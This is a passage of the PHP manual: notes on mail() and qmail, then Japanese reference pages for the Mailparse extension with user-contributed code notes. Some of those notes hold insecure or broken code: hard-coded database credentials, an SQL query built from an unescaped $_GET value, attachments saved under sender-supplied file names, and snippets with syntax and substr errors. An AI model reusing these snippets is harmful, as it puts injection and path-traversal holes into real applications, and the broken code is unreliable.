http://www.faqs.org/rfcs/rfc2822 part 2.1.1.
richard at richard-sumilang dot com 22-Mar-2008 12:12
If you are using the sendmail app from an exim package or something you don't really need to change the normal parameters PHP gives it (-t -i) as other posts described.

I just added "-f myemail@example.com" and it worked.

One thing that got me stuck for a few hours was trying to figure out why the return-path was set as the user (user running php) and not what I was setting it with the -f option then I later found at that in order to forcefully set the return-path the user account running the command must be in exim's trusted users configuration! It helps to add trusted_groups as well then everything works fine :)
- Richard Sumilang
Alex Jaspersen 30-May-2007 11:03
For qmail users, I have written a function that talks directly to qmail-queue, rather than going through the sendmail wrapper used by mail(). Thus it allows more direct control over the message (for example, you can adapt the function to display "undisclosed recipients" in to the To: header). It also performs careful validation of the e-mail addresses passed to it, making it more difficult for spammers to exploit your scripts.

Please note that this function differs from the mail() function in that the from address must be passed as a _separate_ argument. It is automatically put into the message headers and _does not_ need to be included in $additional_headers.

$to can either be an array or a single address contained in a string.
$message should not contain any carriage return characters - only linefeeds.

No validation is performed on $additional_headers. This is mostly unnecessary because qmail will ignore any additional To: headers injected by a malicious user. However if you have some strange mail setup it might be a problem.

The function returns false if the message fails validation or is rejected by qmail-queue, and returns true on success.

<?php
function qmail_queue($to, $from, $subject, $message, $additional_headers = "")
{
    // qmail-queue location and hostname used for Message-Id
    $cmd = "/var/qmail/bin/qmail-queue";
    $hostname = trim(file_get_contents("/var/qmail/control/me"));

    // convert $to into an array
    if(is_scalar($to))
        $to = array($to);

    // BEGIN VALIDATION
    // e-mail address validation
    $e = "/^[-+\\.0-9=a-z_]+@([-0-9a-z]+\\.)+([0-9a-z]){2,4}$/i";
    // from address
    if(!preg_match($e, $from)) return false;
    // to address(es)
    foreach($to as $rcpt)
    {
        if(!preg_match($e, $rcpt)) return false;
    }

    // subject validation (only printable 7-bit ascii characters allowed)
    // needs to be adapted to allow for foreign languages with 8-bit characters
    if(!preg_match("/^[\\040-\\176]+$/", $subject)) return false;

    // END VALIDATION

    // open qmail-queue process
    $dspec = array
    (
        array("pipe", "r"), // message descriptor
        array("pipe", "r") // envelope descriptor
    );
    $pipes = array();
    $proc = proc_open($cmd, $dspec, $pipes);
    if(!is_resource($proc)) return false;

    // write additional headers
    if(!empty($additional_headers))
    {
        fwrite($pipes[0], $additional_headers . "\n");
    }

    // write to/from/subject/date/message-ID headers
    fwrite($pipes[0], "To: " . $to[0]); // first recipient
    for($i = 1; $i < sizeof($to); $i++) // additional recipients
    {
        fwrite($pipes[0], ", " . $to[$i]);
    }
    fwrite($pipes[0], "\nSubject: " . $subject . "\n");
    fwrite($pipes[0], "From: " . $from . "\n");
    fwrite($pipes[0], "Message-Id: <" . md5(uniqid(microtime())) . "@" . $hostname . ">\n");
    fwrite($pipes[0], "Date: " . date("r") . "\n\n");
    fwrite($pipes[0], $message);
    fwrite($pipes[0], "\n");
    fclose($pipes[0]);

    // write from address and recipients
    fwrite($pipes[1], "F" . $from . "\0");
    foreach($to as $rcpt)
    {
        fwrite($pipes[1], "T" . $rcpt . "\0");
    }
    fwrite($pipes[1], "\0");
    fclose($pipes[1]);

    // return true on success.
    return proc_close($proc) == 0;
}
?>
Ben Cooke 15-Dec-2005 05:34
Note that there is a big difference between the behavior of this function on Windows systems vs. UNIX systems. On Windows it delivers directly to an SMTP server, while on a UNIX system it uses a local command to hand off to the system's own MTA.

The upshot of all this is that on a Windows system your  message and headers must use the standard line endings \r\n as prescribed by the email specs. On a UNIX system the MTA's "sendmail" interface assumes that recieved data will use UNIX line endings and will turn any \n to \r\n, so you must supply only \n to mail() on a UNIX system to avoid the MTA hypercorrecting to \r\r\n.

If you use plain old \n on a Windows system, some MTAs will get a little upset. qmail in particular will refuse outright to accept any message that has a lonely \n without an accompanying \r.
msheldon at desertraven dot com 15-May-2005 12:09
Just a comment on some of the examples, and as a note for those who may be unaware. The SMTP RFC 822 is VERY explicit in stating that \r\n is the ONLY acceptable line break format in the headers, though is a little vague about the message body. While many MTAs will deal with just \n, I've run accross plenty of them that will exhibit "interesting" behaviours when this happens. Those MTAs that are strict in compliance will definitely break when header lines are terminated with only \n. They will also most likely break if the body of the message contains more than 1000 consecutive characters without a \r\n.*

Note that RFC 821 is a little more clear in defining:
"line
      A a sequence of ASCII characters ending with a <CRLF>."

RFC 821 makes no distinction between header lines and message body lines, since both are actually transmitted during the DATA phase.

Bottom line, best practice is to be sure to convert any bare \n characters in the message to \r\n.

* "The maximum total length of a text line including the <CRLF> is 1000 characters" (RFC 821)
php dot net at schrecktech dot com 02-Mar-2005 04:07
When sending MIME email make sure you follow the documentation with the "70" characters per line...you may end up with missing characters...and that is really hard to track down...
Paul 25-Feb-2004 02:51
My mime multipart/alternative messages were going ok, until I switched to qmail with php .. after years of painfull searching, I came across this on the Life With Qmail 'Gotchas' section:

G.11. Carriage Return/Linefeed (CRLF) line breaks don't work

qmail-inject and other local injection mechanisms like sendmail don't work right when messages are injected with DOS-style carriage return/linefeed (CRLF) line breaks. Unlike Sendmail, qmail requires locally-injected messages to use Unix newlines (LF only). This is a common problem with PHP scripts.

So now, I can go back to sending emails with text AND html components :)
f dot touchard at laposte dot net 30-Jan-2003 07:46
***Encoding plain text as quoted-printable in MIME email***

If you don't want to install IMAP and use imap_8bit() to encode plain text or html message as quoted-printable
(friendly french special characters encoding :-) in MIME email, try this function.
I haven't fully tested it ( like with microtime with long mails). I send html message as 7-bit, so I didn't try yet with html.
If you have good html practise, you don't really need to encode html as quote-printable as it only uses 7-bit chars.
F.Touchard

<?php
function qp_encoding($Message) {

    /* Build (most polpular) Extended ASCII Char/Hex MAP (characters >127 & <255) */
    for ($i=0; $i<127; $i++) {
        $CharList[$i] = "/".chr($i+128)."/";
        $HexList[$i] = "=".strtoupper(bin2hex(chr($i+128)));
    }

    /* Encode equal sign & 8-bit characters as equal signs followed by their hexadecimal values */
    $Message = str_replace("=", "=3D", $Message);
    $Message = preg_replace($CharList, $HexList, $Message);

    /* Lines longer than 76 characters (size limit for quoted-printable Content-Transfer-Encoding)
        will be cut after character 75 and an equals sign is appended to these lines. */
    $MessageLines = split("\n", $Message);
    $Message_qp = "";
    while(list(, $Line) = each($MessageLines)) {
        if (strlen($Line) > 75) {
            $Pointer = 0;
            while ($Pointer <= strlen($Line)) {
                $Offset = 0;
                if (preg_match("/^=(3D|([8-9A-F]{1}[0-9A-F]{1}))$/", substr($Line, ($Pointer+73), 3))) $Offset=-2;
                if (preg_match("/^=(3D|([8-9A-F]{1}[0-9A-F]{1}))$/", substr($Line, ($Pointer+74), 3))) $Offset=-1;
                $Message_qp.= substr($Line, $Pointer, (75+$Offset))."=\n";
                if ((strlen($Line) - ($Pointer+75)) <= 75) {
                    $Message_qp.= substr($Line, ($Pointer+75+$Offset))."\n";
                    break 1;
                }
                $Pointer+= 75+$Offset;
            }
        } else {
            $Message_qp.= $Line."\n";
        }
    }
    return $Message_qp;
}
?>


Mailparse

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • Mailparse 関数
    • mailparse_determine_best_xfer_encoding — 最も適したエンコーディングを取得する
    • mailparse_msg_create — mime メールリソースを作成する
    • mailparse_msg_extract_part_file — メッセージセクションを展開/デコードする
    • mailparse_msg_extract_part — メッセージセクションを展開/デコードする
    • mailparse_msg_extract_whole_part_file — ヘッダを含むメッセージセクションを、transfer encoding をデコードせずに展開する
    • mailparse_msg_free — MIME リソースを解放する
    • mailparse_msg_get_part_data — メッセージに関する情報の連想配列を返す
    • mailparse_msg_get_part — MIME メッセージの指定したセクションに関するハンドルを返す
    • mailparse_msg_get_structure — 指定したメッセージ内の MIME セクション名の配列を返す
    • mailparse_msg_parse_file — ファイルをパースする
    • mailparse_msg_parse — データをパースし、バッファに追加する
    • mailparse_rfc822_parse_addresses — RFC 822 準拠のアドレスをパースする
    • mailparse_stream_encode — ソースファイルポインタからストリームデータを取得し、 エンコーディングを適用し、出力ファイルポインタに書き込む
    • mailparse_uudecode_all — ファイルポインタからデータをスキャンし、uuencode されたファイルを展開する

User Contributed Notes

There are no user contributed notes for this page.


はじめに

Mailparse は、電子メールのメッセージをパースして処理するための拡張モジュールです。 » RFC 822 および » RFC 2045 (MIME) に準拠したメッセージを扱うことができます。

Mailparse はストリームベースで動作します。つまり、 処理する際にファイルの内容をメモリにコピーする必要がないということです。 これにより、大きなメッセージを扱う際にリソースを効率的に使用することができます。

注意:

Mailparse は、mbstring 拡張モジュールを必要とします。 また、mbstring は mailparse より前に読み込まれていなければなりません。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この » PECL 拡張 モジュールは PHP にバンドルされていません。 この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/mailparse.

これらの関数を使用するためには、configure 時に --enable-mailparse オプションを指定し、 mailparse のサポートつきで PHP をコンパイルする必要があります。

Windows ユーザーがこれらの関数を利用するには、php.ini の中で php_mailparse.dll を有効にします。 この PECL 拡張モジュールの Windows バイナリ (DLL ファイル) は、PECL のウェブサイトから取得できます。

mailparse を使うには、事前に mbstring 拡張モジュールを読み込んでおく必要があります。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

MAILPARSE_EXTRACT_OUTPUT (int)
MAILPARSE_EXTRACT_STREAM (int)
MAILPARSE_EXTRACT_RETURN (int)

User Contributed Notes

There are no user contributed notes for this page.


Mailparse 関数

目次

  • mailparse_determine_best_xfer_encoding — 最も適したエンコーディングを取得する
  • mailparse_msg_create — mime メールリソースを作成する
  • mailparse_msg_extract_part_file — メッセージセクションを展開/デコードする
  • mailparse_msg_extract_part — メッセージセクションを展開/デコードする
  • mailparse_msg_extract_whole_part_file — ヘッダを含むメッセージセクションを、transfer encoding をデコードせずに展開する
  • mailparse_msg_free — MIME リソースを解放する
  • mailparse_msg_get_part_data — メッセージに関する情報の連想配列を返す
  • mailparse_msg_get_part — MIME メッセージの指定したセクションに関するハンドルを返す
  • mailparse_msg_get_structure — 指定したメッセージ内の MIME セクション名の配列を返す
  • mailparse_msg_parse_file — ファイルをパースする
  • mailparse_msg_parse — データをパースし、バッファに追加する
  • mailparse_rfc822_parse_addresses — RFC 822 準拠のアドレスをパースする
  • mailparse_stream_encode — ソースファイルポインタからストリームデータを取得し、 エンコーディングを適用し、出力ファイルポインタに書き込む
  • mailparse_uudecode_all — ファイルポインタからデータをスキャンし、uuencode されたファイルを展開する

User Contributed Notes

iwarner at triangle-solutions dot com 21-May-2004 08:31
Also dont forget to LOAD mbstring before you load mailparse

example in the php.ini place in this order:

extension=php_mbstring.dll
extension=php_mailparse.dll

Or you will get an error.

Ian
boris at gamate dot com 12-Sep-2003 06:11
Example how to handle mail content from a variable:

<?php

$buffer = [...] // Mail Content from pipe or whatever

$mail = mailparse_msg_create();
mailparse_msg_parse($mail,$buffer);
$struct = mailparse_msg_get_structure($mail);

foreach($struct as $st) {
    $section = mailparse_msg_get_part($mail, $st);
    $info = mailparse_msg_get_part_data($section);

    print_r($info);
}

?>
wberrier at yahoo dot com 09-Jul-2002 12:45
[Authors note:
The tarball for 4.2.x can be found here:
http://thebrainroom.com/opensource/php/mailparse.php
and contains a script called try.php that demonstrates the usage of these functions.
]

I've pasted the contents of the file below:

<?php
/*
 * This is a simple email viewer.
 * make sure that $filename points to a file containing an email message and
 * load this page in your browser.
 * You will be able to choose a part to view.
 * */

$filename = "uumsg";

/* parse the message and return a mime message resource */
$mime = mailparse_msg_parse_file($filename);
/* return an array of message parts - this contsists of the names of the parts
 * only */
$struct = mailparse_msg_get_structure($mime);

echo "<table>\n";
/* print a choice of sections */
foreach($struct as $st) {
        echo "<tr>\n";
        echo "<td><a href=\"$PHP_SELF?showpart=$st\">$st</a></td>\n";
        /* get a handle on the message resource for a subsection */
        $section = mailparse_msg_get_part($mime, $st);
        /* get content-type, encoding and header information for that section */
        $info = mailparse_msg_get_part_data($section);
        echo "\n";
        echo "<td>" . $info["content-type"] . "</td>\n";
        echo "<td>" . $info["content-disposition"] . "</td>\n";
        echo "<td>" . $info["disposition-filename"] . "</td>\n";
        echo "<td>" . $info["charset"] . "</td>\n";
        echo "</tr>";
}
echo "</table>";

/* if we were called to display a part, do so now */
if ($showpart)  {
        /* get a handle on the message resource for the desired part */
        $sec = mailparse_msg_get_part($mime, $showpart);

        echo "<table border=1><tr><th>Section $showpart</th></tr><tr><td>";
        ob_start();
        /* extract the part from the message file and dump it to the output buff
er
         * */
        mailparse_msg_extract_part_file($sec, $filename);
        $contents = ob_get_contents();
        ob_end_clean();
        /* quote the message for safe display in a browser */
        echo nl2br(htmlentities($contents)) . "</td></tr></table>";;
}
?>


最も適したエンコーディングを取得する

  • ≪ Mailparse 関数
  • mailparse_msg_create ≫
  • PHP Manual
  • Mailparse 関数
  • 最も適したエンコーディングを取得する

mailparse_determine_best_xfer_encoding

(PECL mailparse >= 0.9.0)

mailparse_determine_best_xfer_encoding — 最も適したエンコーディングを取得する

説明

mailparse_determine_best_xfer_encoding ( resource $fp ) : string

ファイルポインタから内容を読み込む際に最も適したエンコーディングを調べます。

パラメータ

fp

有効なファイルポインタ。これはシーク可能である必要があります。

返り値

mbstring モジュールがサポートする文字エンコーディングのいずれかを返します。

例

例1 mailparse_determine_best_xfer_encoding() の例

<?php

$fp = fopen('somemail.eml', 'r');
echo 'Best encoding: ' . mailparse_determine_best_xfer_encoding($fp);

?>

上の例の出力は、 たとえば以下のようになります。

Best encoding: 7bit

User Contributed Notes

ramoncin at hotmail dot com 11-Mar-2021 05:10
<?php
session_start();
?>
<?php
$conexion=mysqli_connect('192.168.2.201','proba','abc123.','senderismo') or die (mysqli_error($conexion));
if ($conexion) {
    if (isset($_GET['c'])) {
        $datos=mysqli_query($conexion,"SELECT * FROM material");
    }
    if (isset($_GET['m'])) {
        $datos=mysqli_query($conexion,"SELECT * FROM material ORDER BY Marca");
    }
    if (isset($_GET['p'])) {
        $datos=mysqli_query($conexion,"SELECT * FROM material ORDER BY Prezo");
    }
    if (isset($_GET['e'])) {
        if (isset($_GET['T']){
            $type=$_GET['T']
            $datos=mysqli_query($conexion,"SELECT * FROM material where Tipo like '$type$");
        }
    }
if ($datos != FALSE) {
    while ($fila=mysqli_fetch_array($datos)) {
        $srcImaxe=$fila['Imaxe'].".jpg";
        echo "<div class='produto'><img src='imaxes/$srcImaxe'><br>",$fila['Nome'],"<br>",
$fila['Marca'],"<br>",$fila['Tipo'],"<br>",$fila['Prezo'],"?<br></div>";
        }
    }
    echo "<form action='ver.php' method='GET'
        <input type='submit' name='volta' value='Vovler atras'<br>
        </form>";
}
else{
    echo "Mal;"
}
?>
ver at gmail dot com 11-Mar-2021 05:07
<?php
session_start();
?>
<?php
$conexion=mysqli_connect('192.168.2.201','proba','abc123.','senderismo') or die (mysqli_error($conexion));
if ($conexion) {
    $usu1=$_GET['usu'];
    $con1=$_GET['con'];
}
if ((strcmp($usu1, "Eva")==0 || strcmp($usu1, "Xan")==0)&& strcmp($con1, "abc123.")==0 ){
    $_SESSION['usu']=$usu1;
    $_SESSION['con']=$con1;
    echo "Benvido: ", $usu1;

    echo "<form action='lista.php' method='GET'>
    <input type='submit' name='c' value='Listado Completo'><br>
    <input type='submit' name='m' value='Listado por Marca'><br>
    <input type='submit' name='p' value='Listado por prezo'><br>
    <select name='T'>
        <option name='Calcetin'>Calcetin</option>
        <option name='Pantalon'>Pantalon</option>
        <option name='Bota'>Bota</option>
        <option name='Chaqueta'>Chaqueta</option>
        <option name='Zapatilla'>Zapatilla</option>
            </select>
        <input type='submit' name='e' value='Enviar'><br>
    </form>";

    if (strcmp($usu1, "Eva")==0{
        echo "<input type='button' name='c' value='Engadir Rexistro'><br>
        <input type='button' name='m' value='Editar Rexistro'><br>
        <input type='button' name='p' value='Eliminar Rexistro'><br>";
    }
}
else {
    echo "Non se puido conectar a BBDD";
}
?>
intro at gmail dot com 11-Mar-2021 05:05
<!DOCTYPE html>
<html>
<head>
    <title></title>
</head>
<body>
<form action="ver.php" method="GET">
    <p>Introduzca un Usuario:</p>
    <input type="text" name="usu"><br>
    <p>Introduzca un Contrasinal:</p>
    <input type="password" name="con"><br>
    <input type="submit" name="Enviar">
</form>
</body>
</html>
matej dot kovac at gmail dot com 20-Nov-2011 11:12
As of mailparse-2.1.5, it can return 7bit, 8bit, base64 and qprint. False on mbstring failure.
mileskeaton at gmail dot com 02-Jan-2009 11:16
As far as I can tell, this only returns one of two strings: 'Quoted-Printable' or '7bit'


mime メールリソースを作成する

  • ≪ mailparse_determine_best_xfer_encoding
  • mailparse_msg_extract_part_file ≫
  • PHP Manual
  • Mailparse 関数
  • mime メールリソースを作成する

mailparse_msg_create

(PECL mailparse >= 0.9.0)

mailparse_msg_create — mime メールリソースを作成する

説明

mailparse_msg_create ( ) : resource

MIME メールリソースを作成します。

返り値

メッセージのパースに使用するハンドルを返します。

参考

  • mailparse_msg_free() - MIME リソースを解放する
  • mailparse_msg_parse_file() - ファイルをパースする

User Contributed Notes

There are no user contributed notes for this page.


メッセージセクションを展開/デコードする

  • ≪ mailparse_msg_create
  • mailparse_msg_extract_part ≫
  • PHP Manual
  • Mailparse 関数
  • メッセージセクションを展開/デコードする

mailparse_msg_extract_part_file

(PECL mailparse >= 0.9.0)

mailparse_msg_extract_part_file — メッセージセクションを展開/デコードする

説明

mailparse_msg_extract_part_file ( resource $mimemail , mixed $filename , callable $callbackfunc = ? ) : string

指定したファイル名のメッセージセクションを展開/デコードします。

セクションの内容は、transfer encoding に応じて適切にデコードされます。 base64、quoted-printable および uuencode 形式をサポートしています。

パラメータ

mimemail

mailparse_msg_create() で作成した MIME リソース。

filename

ファイル名あるいは有効なストリームリソース。

callbackfunc

展開されたセクションに渡されるコールバック関数、あるいは null を指定すると、この関数は展開したセクションを返します。

省略した場合は標準出力に出力されます。

返り値

callbackfunc が null でない場合は、 成功時に true を返します。

callbackfunc が null の場合は、 展開したセクションを文字列で返します。

エラー時には false を返します。

参考

  • mailparse_msg_extract_part() - メッセージセクションを展開/デコードする
  • mailparse_msg_extract_whole_part_file() - ヘッダを含むメッセージセクションを、transfer encoding をデコードせずに展開する

User Contributed Notes

carlos at wfmh dot org dot pl 24-Feb-2009 08:15
Be aware of "corporate mails" or users who do not understand character encoding too deeply (or do not care). You may (as we did) face mail where the whole mail body is encoded used i.e. Latin2 (and iso-8859-2 is given in multipart's charset header) but at the same time the body also contains text footer with UTF-8 characters in it... Yes, fu*g Microsoft Exchange V6.5 frontent will show that fine on the screen, but if when receive it:

mailparse_msg_extract_part_file() - filter conversion failed. Input message is probably incorrectly encoded in ....

so be extra careful and deal with all the possible errors to avoid mail loss.
per at computer dot org 21-Oct-2004 01:09
mailparse_msg_extract_part_file() does not support file-wrappers as it needs to be able to use seek() on the file.


メッセージセクションを展開/デコードする

  • ≪ mailparse_msg_extract_part_file
  • mailparse_msg_extract_whole_part_file ≫
  • PHP Manual
  • Mailparse 関数
  • メッセージセクションを展開/デコードする

mailparse_msg_extract_part

(PECL mailparse >= 0.9.0)

mailparse_msg_extract_part — メッセージセクションを展開/デコードする

説明

mailparse_msg_extract_part ( resource $mimemail , string $msgbody , callable $callbackfunc = ? ) : void
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

mimemail

有効な MIME リソース。

msgbody

callbackfunc

返り値

値を返しません。

参考

  • mailparse_msg_extract_part_file() - メッセージセクションを展開/デコードする
  • mailparse_msg_extract_whole_part_file() - ヘッダを含むメッセージセクションを、transfer encoding をデコードせずに展開する

User Contributed Notes

Sbastien 23-Jan-2021 11:21
Here a full example to save ZIP files attachments in their original name.

<?php
$email_raw = '(raw e-mail contents buffer)';
$parser = mailparse_msg_create(); // MUST be destroyed at the end of the script
mailparse_msg_parse($parser, $email_raw);
$structure = mailparse_msg_get_structure($parser); // Ex. ["1", "1.1", "1.2"]
foreach ($structure as $part_label) { // Search among each e-mail part
    $part = mailparse_msg_get_part($parser, $part_label); // Parse a specified part
    $part_data = mailparse_msg_get_part_data($part); // Get parsed part data, header and meta values
    if ($part_data['content-type'] ?? null === 'application/zip') {
        $name = $part_data['disposition-filename'] ?? $part_data['content-name'] ?? 'unknow.zip';
        $contents = mailparse_msg_extract_part($part, $email_raw, null); // null for returning content
        file_put_contents($name, $contents);
    }
}
mailparse_msg_free($parser); // Important
Anonymous 06-May-2019 07:55
The callback argument does not support closures... :( It will complains with "PHP Catchable fatal error:  Object of class Closure could not be converted to string".
marlinf {at} datashaman {dot} com 11-Jan-2008 02:13
With ref to previous comment re: callback:

If you explicitly specify NULL as the callback parameter, the complete section is extracted, decoded and returned, without the need for a callback.
Will 04-Jan-2007 12:12
In mailparse version 2.1.1 (and perhaps earlier), when using mailparse_msg_extract_part() with a callback function, it breaks the data it passes to it into 4kB chunks and calls the callback function for each chunk.  So, for example, if it's extracting a 41kB MIME part, the callback function you define will be called 11 times, each time with the next chunk of data.  Here's some quick-and-dirty code that shows one way to handle this:

<?php
    $message = file_get_contents ("email.txt"); // Pull in the e-mail.

    function catch_part ($part)
    {
        $GLOBALS["part_data"] .= $part; // Append the data onto any previously extracted data.
    }

    mailparse_msg_extract_part ("1.1", $message, "catch_part"); // Extract MIME part 1.1
    echo $GLOBALS["part_data"]; // Print out the extracted part.
?>

There's probably a much better way of dealing with this, but hey.  It's what I got.
php at cdauth dot de 07-Jun-2006 12:01
substr() uses the string length, not the position as third argument. The corrected version of the following code line:
<?php
$parts[$s] = substr($file_txt, $starting_pos_body, $ending_pos_body-$starting_pos_body);
?>
steve at tequilasolutions dot com 06-Apr-2006 10:36
Unless I've missed something obvious:

get_structure returns array(1,1.1,1.1.2) etc but its not easy to get the contents of each part as mailparse_msg_extract_part() and mailparse_msg_extract_part_file() just return the lot.  However get_part_data will return the string offsets so you know where to chop the message so you can get the contents of the parts.

Only issue is get_part_data returns:
    [starting-pos] => 0
    [starting-pos-body] => 1412
    [ending-pos] => 14989
    [ending-pos-body] => 14989

Unless I'm missed something else, theres a bug here as ending-pos is the same as ending-pos-body so it won't chop the contents cleanly, leaving the:

------=_NextPart_000_0069_01C659A6.9072E590--

...as supposedly part of the section contents.

$file = "..../mail"; // path of your mail
$file_txt = implode("",file($file));
$parse = mailparse_msg_parse_file($file);
$structure = mailparse_msg_get_structure($parse);
// chop message parts into array
$parts = array();
foreach ($structure as $s){
    print "Part $s\n";
    print "--------------------------------------\n";
    $part = mailparse_msg_get_part($parse, $s);
    $part_data = mailparse_msg_get_part_data($part);
    print_r($part_data);
    $starting_pos_body = $part_data['starting-pos-body'];
    $ending_pos_body    = $part_data['ending-pos-body'];
    $parts[$s] = substr($file_txt,$starting_pos_body,$ending_pos_body); // copy data into array
    print "[".$parts[$s]."]";
    print "\n------------------------------------\n";
}


ヘッダを含むメッセージセクションを、transfer encoding をデコードせずに展開する

  • ≪ mailparse_msg_extract_part
  • mailparse_msg_free ≫
  • PHP Manual
  • Mailparse 関数
  • ヘッダを含むメッセージセクションを、transfer encoding をデコードせずに展開する

mailparse_msg_extract_whole_part_file

(PECL mailparse >= 0.9.0)

mailparse_msg_extract_whole_part_file — ヘッダを含むメッセージセクションを、transfer encoding をデコードせずに展開する

説明

mailparse_msg_extract_whole_part_file ( resource $mimemail , string $filename , callable $callbackfunc = ? ) : string
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

mimemail

有効な MIME リソース。

filename

callbackfunc

返り値

参考

  • mailparse_msg_extract_part() - メッセージセクションを展開/デコードする
  • mailparse_msg_extract_part_file() - メッセージセクションを展開/デコードする

User Contributed Notes

There are no user contributed notes for this page.


MIME リソースを解放する

  • ≪ mailparse_msg_extract_whole_part_file
  • mailparse_msg_get_part_data ≫
  • PHP Manual
  • Mailparse 関数
  • MIME リソースを解放する

mailparse_msg_free

(PECL mailparse >= 0.9.0)

mailparse_msg_free — MIME リソースを解放する

説明

mailparse_msg_free ( resource $mimemail ) : bool

MIME リソースを解放します。

パラメータ

mimemail

mailparse_msg_create() あるいは mailparse_msg_parse_file() が割り当てた 有効な MIME リソース。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • mailparse_msg_create() - mime メールリソースを作成する
  • mailparse_msg_parse_file() - ファイルをパースする

User Contributed Notes

There are no user contributed notes for this page.


メッセージに関する情報の連想配列を返す

  • ≪ mailparse_msg_free
  • mailparse_msg_get_part ≫
  • PHP Manual
  • Mailparse 関数
  • メッセージに関する情報の連想配列を返す

mailparse_msg_get_part_data

(PECL mailparse >= 0.9.0)

mailparse_msg_get_part_data — メッセージに関する情報の連想配列を返す

説明

mailparse_msg_get_part_data ( resource $mimemail ) : array
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

mimemail

有効な MIME リソース。

User Contributed Notes

There are no user contributed notes for this page.


MIME メッセージの指定したセクションに関するハンドルを返す

  • ≪ mailparse_msg_get_part_data
  • mailparse_msg_get_structure ≫
  • PHP Manual
  • Mailparse 関数
  • MIME メッセージの指定したセクションに関するハンドルを返す

mailparse_msg_get_part

(PECL mailparse >= 0.9.0)

mailparse_msg_get_part — MIME メッセージの指定したセクションに関するハンドルを返す

説明

mailparse_msg_get_part ( resource $mimemail , string $mimesection ) : resource
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

mimemail

有効な MIME リソース。

mimesection

User Contributed Notes

vangelier at hotmail dot com 17-Mar-2016 04:02
A multi-part e-mail message can exists out of different parts.

Like:

Array
(
    [0] => 1
    [1] => 1.1
    [2] => 1.1.1
    [3] => 1.1.2
    [4] => 1.2
)

Each part is a section in the mail message. To loop through every part of the message you need to go like this:

$mime_part = mailparse_msg_get_part($this->message, "1.2"); //1.2 is the binary base64 encoded part of the attachement

$body_parts = mailparse_msg_get_part_data($mime_part);

Body part looks like this:

Array
(
    [headers] => Array
        (
            [content-type] => application/x-zip-compressed;  name="3000_000000.txt"
            [content-disposition] => attachment; filename="3000_000000.txt"
            [content-transfer-encoding] => base64
            [x-attachment-id] => b31f1a24358e7e5_0.1
        )

    [starting-pos] => 4513
    [starting-pos-body] => 4736
    [ending-pos] => 4772
    [ending-pos-body] => 4772
    [line-count] => 6
    [body-line-count] => 0
    [charset] => us-ascii
    [transfer-encoding] => base64
    [content-name] => 3000_000000.sbd
    [content-type] => application/x-zip-compressed
    [disposition-filename] => 3000_000000.sbd
    [content-disposition] => attachment
    [content-base] => /
)


指定したメッセージ内の MIME セクション名の配列を返す

  • ≪ mailparse_msg_get_part
  • mailparse_msg_parse_file ≫
  • PHP Manual
  • Mailparse 関数
  • 指定したメッセージ内の MIME セクション名の配列を返す

mailparse_msg_get_structure

(PECL mailparse >= 0.9.0)

mailparse_msg_get_structure — 指定したメッセージ内の MIME セクション名の配列を返す

説明

mailparse_msg_get_structure ( resource $mimemail ) : array
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

mimemail

有効な MIME リソース。

User Contributed Notes

rueda dot raul at gmail dot com 18-Feb-2020 06:34
Example of this function output:

<?php

$parse = mailparse_msg_parse_file('mail.txt');

print_r(mailparse_msg_get_structure($parse);

?>

Output will be:

Array
(
    [0] => 1
    [1] => 1.1
    [2] => 1.1.1
    [3] => 1.1.2
    [4] => 1.2
)


ファイルをパースする

  • ≪ mailparse_msg_get_structure
  • mailparse_msg_parse ≫
  • PHP Manual
  • Mailparse 関数
  • ファイルをパースする

mailparse_msg_parse_file

(PECL mailparse >= 0.9.0)

mailparse_msg_parse_file — ファイルをパースする

説明

mailparse_msg_parse_file ( string $filename ) : resource

ファイルをパースします。 ディスク上にあるメールファイルをパースするための最良の方法です。

パラメータ

filename

メッセージを保持するファイルへのパス。 このファイルがオープンされ、ストリームとしてパーサに流し込まれます。

注意:

filename が保持するメッセージは、 改行コード(CRLF) で終わることが想定されています。 そうでない場合、最後の行がパースされません。

返り値

構造を表す MIME リソース、あるいはエラー時に false を返します。

参考

  • mailparse_msg_free() - MIME リソースを解放する
  • mailparse_msg_create() - mime メールリソースを作成する

User Contributed Notes

There are no user contributed notes for this page.


データをパースし、バッファに追加する

  • ≪ mailparse_msg_parse_file
  • mailparse_rfc822_parse_addresses ≫
  • PHP Manual
  • Mailparse 関数
  • データをパースし、バッファに追加する

mailparse_msg_parse

(PECL mailparse >= 0.9.0)

mailparse_msg_parse — データをパースし、バッファに追加する

説明

mailparse_msg_parse ( resource $mimemail , string $data ) : bool

データを順にパースし、指定した mime メールリソースに格納します。

この関数により、ファイル全体を読み込んでからパースするのではなく 読み込んだ部分から順に処理していくことができます。

パラメータ

mimemail

有効な MIME リソース。

data

注意:

data の最後のチャンクは、 改行コード(CRLF) で終わることが想定されています。 そうでない場合、最後の行がパースされません。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

Adrien 13-Jan-2017 12:49
This code written within a function may end up causing a 500 error with php 7 :

$mime = mailparse_msg_create();
mailparse_msg_parse($mime,$content);
exit;

Don't forget to free the ressource using mailparse_msg_free($mime) before the exit, apache/php does not seem to be able to do it automatically.


RFC 822 準拠のアドレスをパースする

  • ≪ mailparse_msg_parse
  • mailparse_stream_encode ≫
  • PHP Manual
  • Mailparse 関数
  • RFC 822 準拠のアドレスをパースする

mailparse_rfc822_parse_addresses

(PECL mailparse >= 0.9.0)

mailparse_rfc822_parse_addresses — RFC 822 準拠のアドレスをパースする

説明

mailparse_rfc822_parse_addresses ( string $addresses ) : array

» RFC 822 準拠の受信者リスト、 たとえば To: ヘッダの内容などをパースします。

